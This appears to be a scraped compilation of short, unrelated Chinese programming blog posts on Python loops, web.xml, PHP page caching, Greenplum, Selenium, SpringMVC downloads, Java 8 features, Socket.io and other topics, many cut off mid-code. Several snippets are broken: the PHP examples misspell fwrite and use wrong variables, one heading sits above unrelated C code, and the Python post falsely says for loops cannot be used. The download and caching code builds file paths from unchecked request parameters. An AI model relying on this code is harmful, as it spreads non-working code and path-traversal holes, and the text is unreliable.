用python语法打印九九乘法表,这肯定会用到循环,在其他很多编程语言java、c、js等 都可以用 for 循环或者while循环 进行嵌套 从而实现 乘法表的打印。 但是在python中不能使用for 循环,python中的for循环一般是用来遍历 python中的非数字类型 也就序列或者容器。 但是python中 有range函数 可以返回一个可迭代对象,可以用来计算,同样可以用来实现循环打印。 下面我们就用python语法中的while 嵌套循环 进行 九九乘法表的打印。 主要注意一下几点就行了。 1、python中的print 打印函数默认自带换行,可以添加 第二参数 end = "" 来阻止换行。 end代表要打印字符串的最后最后一个字符,可以换成制表符或者其他的符号代替换行符而已。 2、还有就是python中没有自增自减运算符!只能通过赋值运算符进行自增自减了。 3、python中的print 多个占位符 要用()括起来,注意看 下面的语法就知道了。 4、while循环的语法 5、对python来说 格式也就是 缩进非常重要 ,它根据缩进来判断是否是同一代码块的内容。 下面看下实现代码: row = 1 while row <= 9: col = 1 while col <= row: print("%d*%d=%d\t" % (row, col, row*col), end = "") #print("%d*%d=%d" % (row, col, row * col), end="\t") col += 1 print() # 单纯的换行 row += 1 使用range函数 返回可迭代对象 进行计数处理 使用for循环

java web工程web.xml配置详解

转载自:http://blog.csdn.net/believejava/article/details/43229361 这篇文章主要是综合网上关于web.xml的一些介绍,希望对大家有所帮助,也欢迎大家一起讨论。 ---题记 Web.xml详解: 1.web.xml加载过程(步骤) 首先简单讲一下,web.xml的加载过程。当启动一个WEB项目时,容器包括(JBoss、Tomcat等)首先会读取项目web.xml配置文件里的配置,当这一步骤没有出错并且完成之后,项目才能正常地被启动起来。 1. 启动WEB项目的时候,容器首先会去它的配置文件web.xml读取两个节点: <listener></listener>和<context-param></context-param>。 2. 紧接着,容器创建一个ServletContext(application),这个WEB项目所有部分都将共享这个上下文。 3. 容器以<context-param></context-param>的name作为键,value作为值,将其转化为键值对,存入ServletContext。 4. 容器创建<listener></listener>中的类实例,根据配置的class类路径<listener-class>来创建监听,在监听中会有contextInitialized(ServletContextEvent args)初始化方法,启动Web应用时,系统调用Listener的该方法,在这个方法中获得: [html] view plain copy <span style="font-family:Times New Roman;">ServletContextapplication=ServletContextEvent.getServletContext();</span> context-param的值就是application.getInitParameter("context-param的键");得到这个context-param的值之后,你就可以做一些操作了。 5. 举例:你可能想在项目启动之前就打开数据库,那么这里就可以在<context-param>中设置数据库的连接方式(驱动、url、user、password),在监听类中初始化数据库的连接。这个监听是自己写的一个类,除了初始化方法,它还有销毁方法,用于关闭应用前释放资源。比如:说数据库连接的关闭,此时,调用contextDestroyed(ServletContextEvent args),关闭Web应用时,系统调用Listener的该方法。 6. 接着,容器会读取<filter></filter>,根据指定的类路径来实例化过滤器。 7. 以上都是在WEB项目还没有完全启动起来的时候就已经完成了的工作。如果系统中有Servlet,则Servlet是在第一次发起请求的时候被实例化的,而且一般不会被容器销毁,它可以服务于多个用户的请求。所以,Servlet的初始化都要比上面提到的那几个要迟。 8. 总的来说,web.xml的加载顺序是:<context-param>-><listener>-><filter>-><servlet>。其中,如果web.xml中出现了相同的元素,则按照在配置文件中出现的先后顺序来加载。 9. 对于某类元素而言,与它们出现的顺序是有关的。以<filter>为例,web.xml中当然可以定义多个<filter>,与<filter>相关的一个元素是<filter-mapping>,注意,对于拥有相同<filter-name>的<filter>和<filter-mapping>元素而言,<filter-mapping>必须出现在<filter>之后,否则当解析到<filter-mapping>时,它所对应的<filter-name>还未定义。web容器启动初始化每个<filter>时,按照<filter>出现的顺序来初始化的,当请求资源匹配多个<filter-mapping>时,<filter>拦截资源是按照<filter-mapping>元素出现的顺序来依次调用doFilter()方法的。<servlet>同<filter>类似,此处不再赘述。 2.web.xml标签详解 1. XML文档有效性检查 [html] view plain copy <span style="font-family:Times New Roman;"><!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ></span> 这段代码指定文件类型定义(DTD),可以通过它检查XML文档的有效性。下面显示的<!DOCTYPE>元素有几个特性,这些特性告诉我们关于DTD的信息: web-app定义该文档(部署描述符,不是DTD文件)的根元素 PUBLIC意味着DTD文件可以被公开使用 -//Sun Microsystems, Inc.//DTD Web Application 2.3//EN”意味着DTD由Sun Microsystems, Inc.维护。该信息也表示它描述的文档类型是DTD Web Application 2.3,而且DTD是用英文书写的。 URL"

Drools执行报错 The Eclipse JDT Core jar is not in the classpath .

在升级jboss测试Drools时,Eclipse后台报以下错误: org.drools.RuntimeDroolsException: Unable to load dialect 'org.drools.rule.builder.dialect.java.JavaDialectConfiguration:java' at org.drools.compiler.PackageBuilderConfiguration.addDialect(PackageBuilderConfiguration.java:160) at org.drools.compiler.PackageBuilderConfiguration.buildDialectConfigurationMap(PackageBuilderConfiguration.java:146) at org.drools.compiler.PackageBuilderConfiguration.init(PackageBuilderConfiguration.java:121) at org.drools.compiler.PackageBuilderConfiguration.<init>(PackageBuilderConfiguration.java:98) at org.drools.compiler.PackageBuilder.<init>(PackageBuilder.java:124) at org.drools.compiler.PackageBuilder.<init>(PackageBuilder.java:86) at com.sample.DecisionTableTest.readDecisionTable(DecisionTableTest.java:58) at com.sample.DecisionTableTest.main(DecisionTableTest.java:35) Caused by: java.lang.RuntimeException: The Eclipse JDT Core jar is not in the classpath at org.drools.rule.builder.dialect.java.JavaDialectConfiguration.setCompiler(JavaDialectConfiguration.java:91) at org.drools.rule.builder.dialect.java.JavaDialectConfiguration.init(JavaDialectConfiguration.java:52) at org.drools.compiler.PackageBuilderConfiguration.addDialect(PackageBuilderConfiguration.java:156) ... 7 more 原因是缺少包:org.eclipse.jdt.core_3.5.2.v_981_R35x.jar 加上后出现另一个错误: wrong class format Exception in thread "main" java.lang.RuntimeException: wrong class format jboss7运行在jdk8中,drtools版本为为5.3.1,因为drtools6以下不兼容JDK8,所以有两种解决方法:换JDK、升级drtools或者升级jdt core版本,第一次涉及项目方案设计不可行,我试比较简单的第三种,将org.eclipse.jdt.core_3.5.2.v_981_R35x.jar换成org.eclipse.jdt.core-3.8.2.v20130121.jar,再次运行后没有报错

PHP 如何实现页面静态化?

页面静态化分为两种 一种伪静态,即url重写,一种真静态化。 PHP伪静态:是利用Apache mod_rewite实现url重写的方法。 1、什么是静态化? 简单说就是在web开发中,静态网页一般为网站中大部分超链接所引用的页面都是HTML今天页面,在网站优先级中,网页优先加载HTML页面。因为当用户请求浏览页面时,服务器就不需要运行访问数据库等操作了,可以大大提高浏览器的加载速度,减轻服务器的运行负担,减少了大陆的页面输出工作。 优点: 1有利于搜索引擎收录网站页面的信息:搜索引擎更喜欢静态的,更变于抓取,搜索引擎SEO排名会更容易提高。 2静态网页化网页稳定 3可以提高网页加载速度 4减轻服务器负担,浏览器不需要频发调用数据库。 5数据库出错不会影响正常访问 实现HTML静态化: file_put_content()函数 使用PHP的内置缓存机制实现页面静态化 PHP如何实现页面纯静态化 ? 使用OB函数 比如: ob_start 打开输出控制缓冲 ob_get_contents 返回输出缓冲区的内容 ob_clean 清除缓冲区 ob_get_clean 得到当前缓冲区的内容并删除当前缓冲区 还需要用到的函数:fopen(filename(必须),mode(必须),include_path,context)打开文件或url fwrite(file(必须),string(必须),length); 写文件 fclose();关闭一个打开的文件 方法一 php文件读写功能生成静态页面 <?php $content = "<html>hello world</html>"; $aplication = fopen('index.html','w'); if(!$aplication){ echo 'System Error';exit(); } else{ fwirte($aplication,$content); fclose($apliction); echo "success"; } ?> 方法二PHP输出控制函数/ob缓存机制生成静态页面 <?php ob_start();$contents = "<html>hello world</html>"; $data= ob_get_contents($contents );ob_end_clean();$aplication = fopen('index.html','w');//定义一个if(!$aplication){echo "System Error";exit();}else{fwirte($aplication,$data);fclose($data);} ?> 

Configuration

一、configuration types 1、exporting a object 2、exporting a function 输出的函数会注入两个参数:环境,options(描述了传给webpack的配置参数,比如output-filename和optimize-minimize). module.exports = function(env, argv) { return { devtool: env.production ? 'source-maps' : 'eval', plugins: [ new webpack.optimize.UglifyJsPlugin({ compress: argv['optimize-minimize'] // only if -p or --optimize-minimize were passed }) ] }; }; 3、exporting a promise webpack会运行配置文件输出的函数,可以返回一个Promise。用于异步加载配置参数。 module.exports = () => { return new Promise((resolve, reject) => { setTimeout(() => { resolve({ entry: './app.js', /* ... */ }) }, 5000) }) } 4、exporting multiple configurations

Greenplum介绍

一、Greenplum的发展历史 Greenplum的发展可以分为下面6个阶段: 图 1 Greenplum时间线 Postgres关系型数据库。Postgres是UC Berkeley开发的关系型数据库,现已更名为PostgreSQL。PostgerSQL官网介绍自己是最先进的数据库,有强大的SQL支持能力,扩展性好,并且支持空间扩展。通过空间数据引擎PostGIS的支持可以存储和操作空间数据。 SQL queries on Big Data。Greenplum初步成型,由于数据越存越多,如何在大量数据中继续使用SQL来进行查询成了一个需要解决的问题。Greenplum开发者在X86架构和Postgres数据库的基础上,结合Postgres社区和应用生态使用MPP架构将Postgres实例组织起来,并通过MPP后端来实现存储和查询。 Pivotal商业公司。Emc2公司将Greenplum与分布式缓存GemFile一起结合形成了一款专注于OLAP系统的数据引擎产品,并以这个产品为核心组建了新的公司Pivotal。 收购MoreVRP。最初的Greenplum希望对每一次query操作都能做到尽可能的快,这样使得所有的资源都被一次query占用。然而当并发多的时候,会造成query效果变差。因此Greenplum最初将query按类型划分到了不同的队列,然后按优先级给队列分配资源,进而解决了这个问题。但是因为query是在不断变动的,这时候这种策略也需要不断调整,因此Pivotal收购了一家专注于动态配置数据库的公司MoreVRP。 发布HAWQ。由于市场上越来越多的客户将数据存放在HDFS上,基于Hadoop的Hive和Impala带给了Greenplum也受到了很大的冲击。Pivotal因此推出了一个处理HDFS上数据的解决方案HAWQ,但是HAWQ在HDFS上使用的是Greenplum专利格式来存储数据,其他的软件不能对这个格式进行操作,并不方便。 开源Greenplum。2015年,Pivotal公司拥抱了开源社区,将Greenplum开源。 二、Greenplum的几个关键词 1、shared-nothing Shared Everthting:一般是针对单个主机,完全透明共享CPU/MEMORY/IO,并行处理能力差,典型的代表SQLServer。 shared-everything架构优点很明显,但是网络,硬盘很容易就会成为系统瓶颈。 Shared Disk:各个处理单元使用自己的私有 CPU和Memory,共享磁盘系统。典型的代表Oracle Rac, 它是数据共享,可通过增加节点来提高并行处理的能力,扩展能力较好。其类似于SMP(对称多处理)模式,但是当存储器接口达到饱和的时候,增加节点并不能获得更高的性能 。 Shared Nothing:各个处理单元都有自己私有的CPU/内存/硬盘等,不存在共享资源,各处理单元之间通过协议通信,并行处理和扩展能力更好。各节点相互独立,各自处理自己的数据,处理后的结果可能向上层汇总或在节点间流转。Share-Nothing架构在扩展性和成本上都具有明显优势。 2、MPP 大规模并行处理系统是由许多松耦合处理单元组成的,借助MPP这种高性能的系统架构,Greenplum可以将TB级的数据仓库负载分解,并使用所有的系统资源并行处理单个查询。 3、MVCC 与事务型数据库系统通过锁机制来控制并发访问的机制不同, GPDB使用多版本控制(Multiversion Concurrency Control/MVCC)保证数据一致性。 这意味着在查询数据库时,每个事务看到的只是数据的快照,其确保当前的事务不会看到其他事务在相同记录上的修改。据此为数据库的每个事务提供事务隔离。 MVCC以避免给数据库事务显式锁定的方式,最大化减少锁争用以确保多用户环境下的性能。在并发控制方面,使用MVCC而不是使用锁机制的最大优势是, MVCC对查询(读)的锁与写的锁不存在冲突,并且读与写之间从不互相阻塞。 三、Greenplum架构 Greenplum主要由Master节点、Segment节点、interconnect三大部分组成。Greenplum master是Greenplum数据库系统的入口,接受客户端连接及提交的SQL语句,将工作负载分发给其它数据库实例(segment实例),由它们存储和处理数据。Greenplum interconnect负责不同PostgreSQL实例之间的通信。Greenplum segment是独立的PostgreSQL数据库,每个segment存储一部分数据。大部分查询处理都由segment完成。 Master节点不存放任何用户数据,只是对客户端进行访问控制和存储表分布逻辑的元数据 Segment节点负责数据的存储,可以对分布键进行优化以充分利用Segment节点的io性能来扩展整集群的io性能 存储方式可以根据数据热度或者访问模式的不同而使用不同的存储方式。一张表的不同数据可以使用不同的物理存储方式:行存储、列存储、外部表 3.1 大规模数据存储 (1)Greenplum数据库通过将数据分布到多个节点上来实现规模数据的存储。数据库的瓶颈经常发生在I/O方面,数据库的诸多性能问题最终总能归罪到I/O身上,久而久之,IO瓶颈成为了数据库性能的永恒的话题。 (2)Greenplum采用分而治之的办法,将数据规律的分布到节点上,充分利用Segment主机的IO能力,以此让系统达到最大的IO能力(主要是带宽)。 (3)在Greenplum中每个表都是分布在所有节点上的。Master节点首先通过对表的某个或多个列进行hash运算,然后根据hash结果将表的数据分布到Segment节点中。整个过程中Master节点不存放任何用户数据,只是对客户端进行访问控制和存储表分布逻辑的元数据。 图 2 Greenplum存储结构 Greenplum提供称为“多态存储”的灵活存储方式。多态存储可以根据数据热度或者访问模式的不同而使用不同的存储方式。一张表的不同数据可以使用不同的物理存储方式。支持的存储方式包含: 行存储:行存储是传统数据库常用的存储方式,特点是访问比较快,多列更新比较容易。 列存储:列存储按列保存,不同列的数据存储在不同的地方(通常是不同文件中)。适合一次只访问宽表中某几个字段的情况。列存储的另外一个优势是压缩比高。 外部表:数据保存在其他系统中例如HDFS,数据库只保留元数据信息。 3.2 并行查询计划和执行 下图为一个简单SQL语句,从两张表中找到2008年的销售数据。图中右边是这个SQL的查询计划。从生成的查询计划树中看到有三种不同的颜色,颜色相同表示做同一件事情,我们称之为分片/切片(Slice)。最下层的橙色切片中有一个重分发节点,这个节点将本节点的数据重新分发到其他节点上。中间绿色切片表示分布式数据关联(HashJoin)。最上面切片负责将各个数据节点收到的数据进行汇总。 然后看看这个查询计划的执行。主节点(Master)上的调度器(QD)会下发查询任务到每个数据节点,数据节点收到任务后(查询计划树),创建工作进程(QE)执行任务。如果需要跨节点数据交换(例如上面的HashJoin),则数据节点上会创建多个工作进程协调执行任务。不同节点上执行同一任务(查询计划中的切片)的进程组成一个团伙(Gang)。数据从下往上流动,最终Master返回给客户端。 3.3 并行数据加载 (1)并行加载技术充分利用分布式计算和分布式存储的优势,保证发挥出每一块Disk的I/O资源 (2)并行加载比串行加载,速度提高40-50倍以上,减少ETL窗口时间 (3)增加Segment和ETL Server,并行加载速度呈线性增长

chrome浏览器爬虫崩溃,怎么办?python + selenium + chrome + headless模式

chrome浏览器爬虫崩溃,怎么办?python + selenium + chrome + headless模式 1. 背景 在使用selenium + chrome浏览器渲染模式爬取数据时,如果并发任务过多,或者爬虫的运行时间很长,那么很容易出现浏览器崩溃的现象,如下: 这一般是资源消耗过大造成的(据说chrome浏览器有内存泄漏的情况)。那如何解决这个问题呢? 这种情况下,我们首先就会想到使用无界面的浏览器PhantomJS,但是PhantomJS现在年久失修,后继无人,对很多新的特性支持并不够好。不过好在Google今年在chrome中增加了一项新的特性: Headless mode ,这样我们就可以使用无界面的chrome来爬取数据了,占用资源更少,速度更快。而且可喜的是,google的团队承诺会一直维护它… 2. 环境 系统:win7MongoDB 3.4.6python 3.6.1IDE:pycharm安装过chrome浏览器(63.0.3239.132 (正式版本) 32 位)selenium 3.7.0配置好chromedriver v2.34 特别说明: 因为Headless mode 是新推出的特性,只有高级的版本才能使用,并不向前兼容,所以对chrome浏览器和chromedriver的版本有要求: 1. 对chrome浏览器来说: linux,unix系统需要 chrome浏览器 >= 59 Windows系统需要 chrome浏览器 >= 60 2. chromeDriver版本与chrome浏览器匹配: 这个部分参考文章:http://blog.csdn.net/zwq912318834/article/details/78550666 3. 代码 from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.action_chains import ActionChains from selenium.

Exception 为什么有的需要抛异常有的不需要

在写代码的时候我们经常需要新建异常,如throw new IllegalStateException("capacity is not less than 0");该异常不需要捕获(在方法前throws 该Exception)。但是有的异常如throw new IOException()需要捕获或抛出异常。主要因为java中异常有两类Runtime(运行时异常)和Checked(编译时异常)。(两种异常的说明见博客http://blog.sina.com.cn/s/blog_68205b190101it3x.html)。

eclipse.mars版的汉化

 1.help-》install new software-》add-》location-》选择压缩包存放的文件夹—》finish。2.如果方法一不行,在eclipse安装目录下新建两个目录:第一个是lanague目录,在lanague下建立eclipse目录,将压缩包解压后的两个文件夹:features和plugins移动到新建的eclipse中,第二个是link目录,在其下建立文本文件,名字改为lanague.link,打开,在其中写下:path=E:\\java\\eclipse\\eclipse\\language(path=后面的路径为你建立lanague的路径,注意不能包含汉语否则无法识别,且以\\表示上下级文件目录之间的连接),保存,关闭,然后重新启动eclipse,即可完成汉化!

SpringMVC实现文件下载的两种方式

1.常规方法 @RequestMapping("/download") public String download( String fileName ,String filePath, HttpServletRequest request, HttpServletResponse response){ response.setContentType("text/html;charset=utf-8"); try { request.setCharacterEncoding("UTF-8"); } catch (UnsupportedEncodingException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } java.io.BufferedInputStream bis = null; java.io.BufferedOutputStream bos = null; String downLoadPath = filePath; //注意不同系统的分隔符 // String downLoadPath =filePath.replaceAll("/", "\\\\\\\\"); //replace replaceAll区别 ***** System.out.println(downLoadPath); try { long fileLength = new File(downLoadPath).length(); response.setContentType("application/x-msdownload;"); response.setHeader("Content-disposition", "attachment; filename=" + new String(fileName.getBytes("utf-8"), "ISO8859-1")); response.setHeader("Content-Length", String.valueOf(fileLength)); bis = new BufferedInputStream(new FileInputStream(downLoadPath)); bos = new BufferedOutputStream(response.

python命令行参数sys.argv的使用

sys.argv是命令行参数,既然提到命令行,那么使用它时需要在命令行下,如Windows下的cmd(命令提示符)窗口下或Linux下的终端(Terminal)。 不能再IDE环境(Pycharm等编译器)下使用,即使使用也只能用sys.argv[0],表示该脚本所在路径如:C:/Users/Administrator/Desktop/Python_Opencv/Test1/TT/1.py,除此之外,使用其他sys.argv[1]、sys.argv[2]。。。都会报错:IndexError: list index out of range。 sys.argv[]说白了就是一个从程序外部获取参数的桥梁,从外部取得的参数可以是多个,所以获得的是一个列表(list),也就是说sys.argv其实可以看作是一个列表,所以才能用[]提取其中的元素。其第一个元素是程序本身,随后才依次是外部给予的参数。 在Windows cmd下测试sys.argv(默认是已装python) 脚本内容: import sys print(sys.argv[0]) cd命令找到所写脚本目录,输入文件名文件名1.py:输出是脚本路径。 import sys print (sys.argv[1]+sys.argv[2])上面输出的是参数1+参数2 命令输入:1.py a b 则输出的是:ab 即argv[1]=a,argv[2]=b import sys print (sys.argv[1:])输入命令:1.py a b c d e 输出的是:[a,b,c,d,e] 列表形式 argv参数的应用:计算argv[1]至最后的数字之和,由于命令行输入的是字符,所以先转换成数字 import sys sum=0 #不能包含argv[0] for ch in sys.argv[1:]: sum+=int(ch) print (sum) 总结:若想要运行脚本的同时,引用新的临时变量(外部输入),即可使用argv

php实现静态化总结

简介 PHP的静态化就是将一些不常更新的页面静态化,而非通过动态程序从数据库中取出输出到前台。通过此方法可加快页面响应速度和减轻服务器负载压力。 页面静态化操作,包括两种:一种是静态化,一种是伪静态化。静态化又包括:完全静态化和局部静态化。下面逐一进行介绍: 完全静态化 就是将整个页面进行静态化,可以使用php缓冲区函数,将缓冲区内容输入到静态文件中。并设置过期时间,若静态文件超出过期时间,则重新进行静态化。 <?php //页面静态页,一般在MVC框架的控制器中实现。 //譬如:www.test.php/news/view?id=2 //静态化为 www.test.php/news/view_2.html //静态化页面路径 $id = isset($_GET['id']) ? $_GET['id'] : 0; $filePath = "./news/view_".$id.".html"; //过期时间10s $expire = 10; if (file_exists($filePath)) { $ctime = filectime($filePath); if (time()-$ctime > 10) { //已过期,删除原有文件,并生成新的静态页 unlink($filePath); ob_start(); include ("./view2.html"); //加载信息页 $content = ob_get_contents(); file_put_contents($filePath, $content); //将缓冲区内容输出到静态页 ob_end_flush(); //刷出缓冲区内容并结束缓冲 } else { include($filePath); } } else { ob_start(); include ("./view2.html"); //加载信息页 $content = ob_get_contents(); file_put_contents($filePath, $content); //将缓冲区内容输出到静态页 ob_end_flush(); //刷出缓冲区内容并结束缓冲 } 局部静态化 在完全静态化的基础上,通过ajax处理局部页面。譬如:新闻页如何实现点击量的更新问题?

PTA JAVA编程题汇总(一)

日期加减 import java.text.SimpleDateFormat; import java.util.*; public class Main { public static void main(String[] args) { // TODO Auto-generated method stub Scanner in = new Scanner(System.in); Calendar date = Calendar.getInstance(); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); long l = in.nextLong(); Long i = in.nextLong(); date.setTimeInMillis(l); long n=i*24*60*60*1000+l; Date date2 = new Date(n); System.out.println(format.format(date.getTime())); System.out.println(format.format(date2)); } } 声明图书类 #include<stdio.h> #include<stdlib.h> #define MAX 100 typedef struct NodeType { int id; int password; struct NodeType *next; } NodeType; int m = 0 ; void CreaList(NodeType **, int); NodeType *GetNode(int,int); void PrntList(NodeType *); int IsEmptyList(NodeType *); void JosephusOperate(NodeType **,int); int main(void){ int n = 0 ; NodeType *pHead = NULL; scanf("

研发团队管理激励机制

最重要的两点,要么给钱,要么给发展空间 1.充满诱惑的激励机制 奖金激励 奖金 项目奖金如何设定 设定奖金池,根据公司全年投入研发中心预算,再根据各个部门kpi系数划分每个部门奖金池; 从奖金池划分出部门内部全年各计划项目所得的奖金; 从每个项目奖金冲抽出20%用于优秀员工奖励,80%用于团队奖金池; 奖金如何发 全员 从当前项目团队奖金池发放,根据个人薪酬比例进行发放,团队成员集体发放; 优秀员工 从优秀员工奖金池发放,根据个人付出努力程度进行发放,按照361原则,一般不超过团队人数的30%; 剩余奖金 剩下的钱留于部门团建、年会奖品、年终奖; 2.成就激励 程序猿的成就来源 技术预研完成投入研发,做有挑战的事情并搞定事情,得到认可功能开发完成后投入生产,并得到认可和鼓励能focus更多的事情,提升自己的实力 2.良性的晋升机制 1.职级晋升 职级晋升涉及到部门的kpi机制,比如我们研发部门的都会有,P1~P10的职级发展路线 每个月会有相应的绩效考核S、A、B、C 目前是一年会晋升一次,每年年中会进行一次技术评审,如果评审通过则可晋升至更高一个级别 晋升前提,必须进公司满一年,上一年全年考核不能出现C 当然高P的会有更严格的考核标准,每个公司的标准不一致,这里不详述。 2.职位晋升 职位晋升从P-M,一般来说P和M会有部分重叠的,部分高P职位其实兼职这M级的职责 这个晋升会比较难,一般来说公司出现新部门、上级领导晋升等重大人事变动并且自己的直属上级职位有空缺时才会有机会升级 否则只能是职级晋升,但是职位很难动

信息学奥赛一本通1349-最优布线问题

【题目描述】 学校有n台计算机,为了方便数据传输,现要将它们用数据线连接起来。两台计算机被连接是指它们有数据线连接。由于计算机所处的位置不同,因此不同的两台计算机的连接费用往往是不同的。 当然,如果将任意两台计算机都用数据线连接,费用将是相当庞大的。为了节省费用,我们采用数据的间接传输手段,即一台计算机可以间接的通过若干台计算机(作为中转)来实现与另一台计算机的连接。 现在由你负责连接这些计算机,任务是使任意两台计算机都连通(不管是直接的或间接的)。 【输入】 第一行为整数n(2≤n≤100),表示计算机的数目。此后的n行,每行n个整数。第x+1行y列的整数表示直接连接第x台计算机和第y台计算机的费用。 【输出】 一个整数,表示最小的连接费用。 【输入样例】 3 0 1 2 1 0 1 2 1 0 【输出样例】 2 【提示】 注:表示连接1和2,2和3,费用为2。 解题思路 就是最小生成树而已,这里用时间复杂度是O(n^2)的算法(既Prim法)。 代码 #include<cstdio> using namespace std; int n,k,cost[101][101],lowcost[101],x,s; bool ok[101]; int main() { scanf("%d",&n); for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) cost[i][j]=23333333; //初始化无穷大 for (int i=1;i<=n;i++) { for (int j=1;j<=n;j++) { scanf("%d",&cost[i][j]); //输入权值 } } for (int i=1;i<=n;i++) lowcost[i]=cost[1][i]; //记录每个点到目前集合最小花费 ok[1]=true;//标记为以搜过 for (int i=2;i<=n;i++) { int k=0,mins=23333333; for (int j=1;j<=n;j++) if (!

解决微软自带的rdp远程桌面分辨率问题

如果是win10的电脑可以通过智能缩放来匹配远程服务器的分辨率。 由于win7的远程桌面连接不带智能缩放功能。网上有几类解决方案: https://jingyan.baidu.com/article/19192ad835016ee53f570765.html 试了下不行,mmp。只是改变了窗口的大小,远程桌面的分辨率不变。接着往下 还可以通过导出rdp文件修改。导出的方法在“选项”中保存rdp文件。 https://www.lulinux.com/archives/990 以为可以了,还是不行。如果你也是这样,接着往下。 重点来了,还要对rdp文件修改。 设置screen mode id:i:1添加smart sizing:i:1然后再修改合适你的分辨率 就这样子 screen mode id:i:1 use multimon:i:0 desktopwidth:i:2048 desktopheight:i:1440 session bpp:i:32 winposstr:s:0,1,182,36,998,674 compression:i:1 keyboardhook:i:2 smart sizing:i:1 。。。 参考: https://llemarie.wordpress.com/2007/11/01/tip-scaling-your-remote-desktop-session/

None

旁边的朋友在百度电话面试,当时我在复习计算机网络。当时还是听到了一些东西,暂时记录一下内容。 问了一些操作系统和计算机网络基础知识,而且问的比较细,这个就不写了。 问了一些服务器负载均衡,反向代理,处理高并发以及分布式的知识,这里我基本都不会,记录一下,以后看一下。 一些题 1找两个链表公共节点,方法1用栈存一下,然后逆序找,这样空间开销比较大 方法2:空间开销比较小的是,统计两个链表的长度size1,size2. 长链表(假设为size2)执行size2-size1的next()运算,然后用两个工作指针同步遍历就能找出来了,这样的话如果链表节点允许重复的话,就跑完一边循环,不允许重复的话第一个相同节点的就ok。 2二叉树各种遍历不说了 3两个10G文件,100M内存,找出出现最多的单词 首先无论如何肯定是分部读取了,把文件分成若干小文件读取 方法1:使用哈希映射hash_table统计+遍历 方法2:字典树+遍历 如果是考虑前N个单词就是堆排序 还有以前看到过两个A,B 100G文件 ,100M内存找他们之间的公共url。将两文件hash(url)%mod然后放到mod个子文件 a1~amod,b1~bmod,将所得找a1与b1 a2与b2的公共url即可,如果分布不平均,也就是单个文件ax过大考虑再次分割。或者分开存储。

CCF NOI 1031.等腰三角形等腰三角形

输入一个正整数n,输出高为n的由*组成的等腰三角形。 输入 输入一个正整数。 输出 输出高为n的由*组成的等腰三角形。 样例输入 3 样例输出 * *** ***** 观察可知,每一行的星号数分别为1,3,5….,我们可用等差数列公式来控制星号输出 代码: #include <iostream> using namespace std; int main() { int i,j,n; cin>>n; for(i=1;i<=n;i++) //第一个循环控制行数 { for(j=1;j<=n-i;j++) //第二个循环控制空格 cout<<" "; for(j=1;j<=i*2-1;j++) //第三个循环控制星号 cout<<"*"; cout<<endl; } return 0; }

解决ie8中文传值乱码

var name = encodeURIComponent($("#Name").val()); 感谢:http://bbs.csdn.net/topics/390808706 转载于:https://www.cnblogs.com/dzw159/p/8203141.html

java8新特性3--lambda表达式

开发中,经常需要给一个方法传递一个接口类型的参数,为了传递不同的行为,我们需要创建不同的实现类,而通常这些类没什么重用价值,只使用一次就没用了。 考虑一个从一堆苹果中筛选符合条件的苹果的场景。 为了更好的应对需求变更,一个比较好的解决办法是将过滤的标准抽象出来,我们先定义一个接口作为抽象的选择标准. public interface ApplePredicate{ boolean test(Apple apple); } 接下来就可以定义多个ApplePredicate接口的实现类来代表不同的过滤标准。 public class AppleHeavyWeightPredicate implements ApplePredicate{ public boolean test(Apple apple){ return apple.getWeight() > 150; } } //select only green apple public class AppleGreenColorPredicate implements ApplePredicate{ public boolean test(Apple apple){ return "green".equals(apple.getColor); } } 上面每一个实现了ApplePredicate接口的类都代表了一种筛选策略。 在此基础上,我们可以将筛选方法修改成下面的样子,将ApplePredicate作为参数传入。这就是所谓的行为参数化。 public static List<Apple> filterApples(List<Apple> inventory, ApplePredicate p){ List<Apple> result = new ArrayList<>(); for(Apple apple : inventory){ if(p.test(apple)){ result.add(apple); } } return result; } 现在的筛选方法很灵活,如果想改变筛选标准,只需创建不同的ApplePredicate对象,并传入filterApples方法即可。

java8新特性2--注解变化

Java 8在两个方面对注解机制进行了改进,分别为: 你现在可以定义重复注解 你可以为任何目标添加注解 Java中的注解是一种对程序元素进行配置,提供附加信息的机制。 重复注解 之前版本的Java禁止对同样的注解类型声明多次。由于这个原因,下面的第二句代码是无效的。 @interface Author { String name(); } @Author(name="Raoul") @Author(name="Mario") @Author(name="Alan") class Book{ } Java程序员经常通过一些惯用法绕过这一限制。例如可以声明一个新的注解,它包含了你希望重复的注解数组。这种方法的形式如下: @interface Author { String name(); } @interface Authors { Author[] value(); } @Authors( { @Author(name="Raoul"), @Author(name="Mario") , @Author(name="Alan") } ) class Book{} Book类的嵌套注解相当难看。这就是Java 8想要从根本上移除这一限制的原因,去掉这一限制后,代码的可读性会好很多。 现在,如果你的配置允许重复注解,你可以毫无顾虑地一次声明 多个同一种类型的注解。它目前还不是默认行为,你需要显式地要求进行重复注解。 创建一个重复注解 如果一个注解在设计之初就是可重复的,你可以直接使用它。但是,如果你提供的注解是为用户提供的,那么就需要做一些工作,说明该注解可以重复。下面是你需要执行的两个步骤: @Repeatable(Authors.class) @interface Author { String name(); } @interface Authors { Author[] value(); } 完成了这样的定义之后,Book类可以通过多个@Author注解进行注释,如下所示: @Author(name="Raoul") @Author(name="Mario") @Author(name="Alan") class Book{ } 编译时,Book会被认为使用了

Socket.io之Client类

var parser = require('socket.io-parser'); var debug = require('debug')('socket.io:client'); var url = require('url'); module.exports = Client; //客户端类,conn参数为engine.io包下面的Socket对象 //代表一个客户端对服务器的连接 function Client(server, conn){ //服务对象 this.server = server; //engine.io包下面的Socket对象,底层连接对象,如果支持,经过协议升级,可以采用websocket传输数据包 this.conn = conn; //编码器 this.encoder = server.encoder; //解码器 this.decoder = new server.parser.Decoder(); //sid this.id = conn.id; //请求对象 this.request = conn.request; //在底层socket连接中设置监听器 this.setup(); //客户端内顶层socket缓存,属性名为id,属性值为socket this.sockets = {}; //客户端内对应各个命名空间的socket的缓存 //属性名为命名空间名称,属性值为socket,也就是一个客户端只能有一个加入指定命名空间的socket this.nsps = {}; //命名空间连接缓存,只有/命名空间存在时,才会连接缓存中的其他命名空间 this.connectBuffer = []; } //设置事件监听器 Client.prototype.setup = function(){ //监听函数上下文对象为Client this.onclose = 